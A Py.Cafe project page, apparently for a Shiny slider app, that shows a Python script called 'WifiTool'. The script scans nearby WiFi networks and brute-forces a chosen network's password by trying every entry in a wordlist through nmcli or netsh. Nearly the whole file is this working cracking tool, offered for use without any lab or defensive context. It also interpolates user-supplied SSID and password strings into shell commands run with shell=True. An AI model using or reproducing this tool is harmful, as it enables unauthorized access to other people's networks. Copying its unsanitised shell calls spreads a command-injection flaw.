Py.Cafe

princerao-dev/

shiny-slider-manipulator

Shiny Slider Manipulator

DocsPricing
  • app.py
  • requirements.txt
  • wifi_script.py
wifi_script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
import platform
import subprocess
import texttable as tt
from termcolor import cprint
import time

try:
    from wifi import Cell, Scheme  # Ensure you have the correct 'wifi' module installed
except ImportError:
    cprint("[!!] Missing 'wifi' module! Install it using: pip install wifi", "red")
    exit()


class WifiTool:
    def __init__(self, interface):
        cprint(r''' 
  __          ___  __ _    _______          _ 
  \ \        / (_)/ _(_)  |__   __|        | |
   \ \  /\  / / _| |_ _      | | ___   ___ | |
    \ \/  \/ / | |  _| |     | |/ _ \ / _ \| |
     \  /\  /  | | | | |     | | (_) | (_) | |
      \/  \/   |_|_| |_|     |_|\___/ \___/|_| 
        ''', "red")
        cprint("                        - A WiFi Toolkit for all\n", "magenta")
        cprint("                                 Version : Final\n", "red")
        cprint("                                    By Kalihackz\n", "cyan")
        cprint("Starting the WifiTool . . . \n", "green")
        self.interface = interface
        time.sleep(2)

    def scan_wifi(self):
        tab = tt.Texttable()
        headings = ['SSID', 'SIGNAL', 'FREQUENCY', 'CHANNEL', '  MAC ADDRESS  ', 'ENCRYPTION']
        tab.header(headings)

        ssid, signl, freq, chnl, addr, encry = [], [], [], [], [], []
        connection = 0

        cprint("\n[*] Scanning for WiFi connections . . . \n", "yellow")

        try:
            for cell in Cell.all(self.interface):  # Use self.interface (e.g., "wlan0")
                connection += 1
                ssid.append(cell.ssid)
                signl.append(str(cell.signal) + " dB")
                freq.append(cell.frequency)
                chnl.append(cell.channel)
                addr.append(cell.address)
                encryp = cell.encryption_type if cell.encrypted else "open"
                encry.append(encryp.upper())

            for row in zip(ssid, signl, freq, chnl, addr, encry):
                tab.add_row(row)

            cprint(tab.draw(), "green")

            if connection == 0:
                cprint("\n[-] No WiFi connections found.\n", 'red')
            else:
                cprint(f"\n[+] {connection} WiFi connection(s) found\n", 'cyan')
        except Exception as e:
            cprint(f"[!!] Error scanning WiFi: {e}", "yellow")

    def connect_wifi(self, ssid, passkey):
        os_type = platform.system().lower()
        try:
            if os_type == "linux":
                command = f"nmcli dev wifi connect '{ssid}' password '{passkey}'"
            elif os_type == "windows":
                command = f'netsh wlan connect name="{ssid}"'
            else:
                cprint("[!!] Unsupported OS for WiFi connection.", "red")
                return False

            output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT).decode()

            if "successfully activated" in output.lower() or "Connection request was completed successfully" in output:
                cprint(f"[+] WiFi '{ssid}' successfully connected!", "green")
                return True
            else:
                cprint("[-] Connection failed. Wrong password?", "red")
                return False
        except Exception as e:
            cprint(f"[!!] Connection Failed: {e}", "yellow")
            return False

    def brute_force_pass(self, ssid, wordlist):
        try:
            with open(wordlist, 'r', encoding='utf-8') as file:
                for line in file:
                    password = line.strip()
                    cprint(f"[*] Trying password: {password}", "blue")
                    if self.connect_wifi(ssid, password):
                        cprint(f"[+] Success! Password for '{ssid}': {password}", "green")
                        break
        except FileNotFoundError:
            cprint("[!!] Wordlist file not found!", "red")

    @staticmethod
    def menu():
        cprint("----------------------------Menu---------------------------", "yellow")
        cprint(" | * scan       - Scan WiFi connections", 'magenta', attrs=['bold'])
        cprint(" | * connect    - Connect to WiFi", 'magenta', attrs=['bold'])
        cprint(" | * bruteforce - Brute force WiFi password", 'magenta', attrs=['bold'])
        cprint(" | * exit       - Exit", 'magenta', attrs=['bold'])
        cprint("_|_________________________________________________________\n", "yellow")


if __name__ == "__main__":
    try:
        interface = "wlan0" if platform.system().lower() == "linux" else "Wi-Fi"
        wifi = WifiTool(interface)

        while True:
            wifi.menu()
            cprint("\nroot@WifiScanner:~$ ", "green", end="")
            command = input().strip().lower()

            if command == "scan":
                wifi.scan_wifi()
            elif command == "connect":
                cprint("\n[+] Enter SSID: ", "green", end="")
                ssid = input().strip()
                cprint("[+] Enter PASSWORD: ", "green", end="")
                passkey = input().strip()
                wifi.connect_wifi(ssid, passkey)
            elif command == "bruteforce":
                cprint("\n[+] Enter SSID: ", "green", end="")
                ssid = input().strip()
                cprint("[+] Enter PASSWORD File path: ", "green", end="")
                wordlist = input().strip()
                wifi.brute_force_pass(ssid, wordlist)
            elif command == "exit":
                cprint("\n[+] Exiting ...\n", 'red')
                exit()
            else:
                cprint("[-] Invalid command. Try again.", "red")

    except KeyboardInterrupt:
        cprint("\n\n[-] Forced Exit By User!!!\n", "red")